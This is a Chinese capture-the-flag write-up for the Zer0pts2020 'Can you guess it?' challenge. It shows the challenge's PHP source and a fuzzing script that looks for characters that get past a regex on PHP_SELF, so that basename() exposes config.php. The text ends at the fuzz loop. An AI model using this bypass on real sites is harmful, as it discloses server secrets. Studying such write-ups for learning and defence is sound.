NO.3-10 [Zer0pts2020]Can you guess it?

本文主要是介绍NO.3-10 [Zer0pts2020]Can you guess it?，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

知识点

basename函数

WP

进入页面，审一下源码：

<?php
include 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';}
}
?>
<!doctype html>
<html lang="en">
<head><meta charset="utf-8"><title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?><p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST"><input type="text" name="guess"><input type="submit">
</form>
</body>
</html>

去查了一下hash_equals，基本没可能从这里入手，只可能从上面那段代码入手了：

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}

比如$path是/var/www/html/index.php，那么basename($path);得到的就是index.php。
因此要从这里来highlight_file这个config.php。但是存在正则匹配，需要绕过。这里的绕过也是利用了basename这个点。写一个代码来fuzz一下：

<?php
function check($str){return preg_match('/config\.php\/*$/i', $str);
}for($i=0;$i<255;$i++){$str="/index.php/config.php/".chr($i);if(!check($str)){echo $i."：".basename($str);echo "<br>";}
}